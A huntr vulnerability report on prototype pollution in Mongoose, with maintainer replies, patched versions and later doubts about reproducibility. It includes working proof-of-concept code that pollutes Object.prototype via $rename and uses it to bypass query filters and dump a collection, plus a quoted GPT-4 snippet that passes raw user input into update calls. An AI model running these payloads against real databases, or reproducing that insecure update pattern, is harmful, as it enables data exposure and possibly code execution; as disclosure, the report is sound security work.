Mongoose Prototype Pollution Vulnerability in automattic/mongoose

Valid

Reported on

Jul 7th 2023


If an attacker has some way to control an object on the Mongo server through one way or another, it is possible to cause prototype pollution on any Mongoose client. Notably, if a poorly implemented service allows a user to control the object in findByIdAndUpdate and similar functions, this bug could be triggered through the $rename operator. Another possibility is if two different services interact with the same Mongo database, it is possible that one of them allows a user to inject an arbitrary object containing a __proto__ field, which would also trigger this bug.

If used with Express and EJS, this bug can easily lead to RCE. Many other libraries have known prototype pollution exploits as well, which may cause significant impact.

Allowing user input directly into update operations seems to be a very common pattern. For example, if we ask GPT-4 a basic prompt for updating a post using Mongoose, it gives us:

Prompt:

Using Express and Mongoose, take input from the user to find a "Post" by an id, and update its fields.

Response:

In Express and Mongoose, you can use the findByIdAndUpdate method to find a "Post" by an id and update its fields. Here's how you can do it:

const express = require('express');
const mongoose = require('mongoose');
const Post = require('./models/post'); // Assuming you have a Post model in models/post.js

const app = express();

app.use(express.json()); // for parsing application/json

app.put('/post/:id', async (req, res) => {
    const { id } = req.params;

    try {
        const post = await Post.findByIdAndUpdate(id, req.body, { new: true }); 
        // new: true returns the updated post rather than the original post when the operation began

        if (!post) {
            return res.status(404).send();
        }

        res.send(post);
    } catch (e) {
        res.status(400).send(e);
    }
});

In the above example, req.params.id is used to get the id from the URL. The req.body is used to get the updated data from the user. The { new: true } option is used to return the updated post.

Proof of concept:

import { connect, model, Schema } from 'mongoose';

await connect('mongodb://127.0.0.1:27017/exploit');

const Example = model('Example', new Schema({ hello: String }));

const example = await new Example({ hello: 'world!' }).save();
await Example.findByIdAndUpdate(example._id, {
    $rename: {
        hello: '__proto__.polluted'
    }
});

// this is what causes the pollution
await Example.find();

const test = {};
console.log(test.polluted); // world!
console.log(Object.prototype); // [Object: null prototype] { polluted: 'world!' }

process.exit();

Resulting Database Entry

exploit> db.examples.find({})
[
  {
    _id: ObjectId("64a757117e3dbf11b14e0fd4"),
    __v: 0,
    ['__proto__']: { polluted: 'world!' }
  }
]

Explanation

When Mongoose finds documents and reads the malicious document into an object, it uses an object with a prototype. If the top level object contains a __proto__ field, it leads to overwrites of the object prototype.

Affected Code:

// document.js
/**
 * Init helper.
 *
 * @param {Object} self document instance
 * @param {Object} obj raw mongodb doc
 * @param {Object} doc object we are initializing
 * @param {Object} [opts] Optional Options
 * @param {Boolean} [opts.setters] Call `applySetters` instead of `cast`
 * @param {String} [prefix] Prefix to add to each path
 * @api private
 */

function init(self, obj, doc, opts, prefix) {
  // ...
    
  function _init(index) {
    // ...

    if (!schemaType && utils.isPOJO(obj[i])) {
      //  ...

      // (1)
      // our malicious payload first reaches here, where:
      // obj is some document
      // i = '__proto__'
      // so, obj[i] gives Object.prototype, which gets used in (2)
      init(self, obj[i], doc[i], opts, path + '.');
    } else if (!schemaType) {
      // (2)
      // after the recursive call on (1), we reach here
      // pollution happens on the next line, where:
      // doc: Object.prototype,
      // obj = { polluted: 'world!' },
      // i = 'polluted'
      doc[i] = obj[i];
      if (!strict && !prefix) {
        self[i] = obj[i];
      }
    } else {

Credits

This bug was found by myself (@ehhthing) and @strellic_

Impact

If used with Express and EJS, this bug can easily lead to RCE. Many other libraries have known prototype pollution exploits as well, which may cause significant impact.

We also found that we can actually exploit Mongoose itself with the prototype pollution, to cause it to bypass all query parameters when using .find(), which allows an attacker to potentially dump entire collections:

import { connect, model, Schema } from 'mongoose';

const mongoose = await connect('mongodb://127.0.0.1:27017/exploit');

const Post = model('Post', new Schema({
    owner: String,
    message: String
}));

await Post.create({
    owner: "SECRET_USER",
    message: "SECRET_MESSAGE"
});

const post = await Post.create({
    owner: "user",
    message: "test message"
});
await Post.findByIdAndUpdate(post._id, {
    $rename: {
        message: '__proto__.owner'
    }
});

// this pollutes Object.prototype.owner = "test message"
await Post.find({ owner: "user" });

// now, when querying posts, even when an owner is specified, all posts are returned
const posts = await Post.find({
    owner: "user2"
});

console.log(posts); // both posts created are found
/*
output:
[
  {
    _id: new ObjectId("64a7610756da3c04f900bf49"),
    owner: 'SECRET_USER',
    message: 'SECRET_MESSAGE',
    __v: 0
  },
  {
    _id: new ObjectId("64a7610756da3c04f900bf4b"),
    owner: 'user',
    __v: 0
  }
]
*/
process.exit();

This could also easily lead to denial of service depending on how large a Mongo collection is, and which other libraries are being used in the application.

We are processing your report and will contact the automattic/mongoose team within 24 hours. 8 months ago
Larry Yuan modified the report
8 months ago
We have contacted a member of the automattic/mongoose team and are waiting to hear back 8 months ago
automattic/mongoose maintainer has acknowledged this report 8 months ago
Valeri Karpov
8 months ago

Maintainer


I confirmed that this is an issue, and I put in a commit in a separate branch with a fix: https://github.com/Automattic/mongoose/commit/e29578d2ec18a68aeb4717d66dd5eb66bae53de1 . Can you please take a look and confirm if this fix looks correct?

Valeri Karpov gave praise 8 months ago
The researcher's credibility has slightly increased as a result of the maintainer's thanks: +1
Larry Yuan
8 months ago

Researcher


I can confirm that the fix works, however caution should be noted because it may break some applications if they cant use "constructor" as a property.

Valeri Karpov
8 months ago

Maintainer


Mongoose explicitly ignores constructor as a property in schemas, because constructor often suffers from similar issues. For example $rename: { hello: 'constructor.polluted' } would lead to adding a polluted property to the Object function. So I'd prefer to also ignore constructor.

What are next steps for disclosing this vulnerability?

Valeri Karpov
8 months ago

Maintainer


Hi,

Just wanted to check in. I published fixes in versions 7.3.3, 6.11.3, and 5.13.20. This covers all our supported release lines.

Is someone able to create a CVE for this?

Larry Yuan
8 months ago

Researcher


Sorry for the late reply, been really busy for the last few days. I asked Huntr how this is typically done and they replied with

Hi, if you are able to get the maintainer to confirm in the comment section of the report URL that they would like a CVE assigned, we can go ahead with the process.

Valeri Karpov validated this vulnerability 7 months ago
ehhthing has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Valeri Karpov marked this as fixed in 7.3.4 with commit 305ce4 7 months ago
Valeri Karpov has been awarded the fix bounty
Larry Yuan
7 months ago

Researcher


Is it possible to publish a security advisory for this on GitHub.

This vulnerability has now been published 7 months ago
Max
7 months ago

I tried the proof of concept today with different old mongoose versions and it didn't work. Here is a Code Sandbox with a mongodb-memory-server: https://codesandbox.io/p/sandbox/jovial-napier-vy3ttt?file=%2Fsrc%2Findex.js%3A2%2C36-2%2C57

The console output is:

undefined
[Object: null prototype] {}

Same when I try it with a real MongoDB locally.

Another thing: In version 5.13.20, when I comment the new code from the fix, the new test still succeeds. In version 7.4.0 it fails though.

Valeri Karpov
7 months ago

Maintainer


@Max I'm confused, what exactly succeeds or fails? What does "it didn't work" mean in this context?

Max
7 months ago

Hi Valeri.

  1. I mean the test you added in this commit: https://github.com/Automattic/mongoose/commit/f1efabf350522257364aa5c2cb36e441cf08f1a2

If I comment the lines you added in the same commit in document.js, the test still succeeds/passes. (Only in version 5.13.20.)

  1. With "it didn't work" I meant the the console output I posted. If the exploit worked, I should see a different output, shouldn't I?
ilmarinen100
23 days ago

Hi @Valeri Same as @Max, I also cannot reproduce the CVE with 5.13.19. (mongodb server 4.4.3) When accessing a document with __proto__.polluted property (e.g. using find() with/without lean()), a curious intermediate object is added in the prototype chain of the returned object. This intermediate object bears the polluted property but the core-v8 "Object" is left untouched.

As a result {}.polluted stays undefined as it should. Only the document itself has the polluted property.

const docs = await Example.find().lean().exec();
console.log({}.polluted, {}.__proto__.polluted, {}); 
// undefined, undefined, {}

console.log(docs[0]);
// {_id: new ObjectId("65c258be5069a3d6fd44cd7c"), __v: 0,['__proto__']: { polluted: 'world!' } }

Therefore, I am not convinced that mongoose@5.13.19 (and multiple previous versions) was vulnerable to a classical prototype pollution.

However, polluted being visible on the document is still unexpected and still constitutes a vulnerability (albeit a much less critical one). Injecting __proto__.isAdmin into a mongodb document would make isAdmin visible on the document.

Could it be that an independent fix was also done for mongodb (npm) or mongodb (server)?

to join this conversation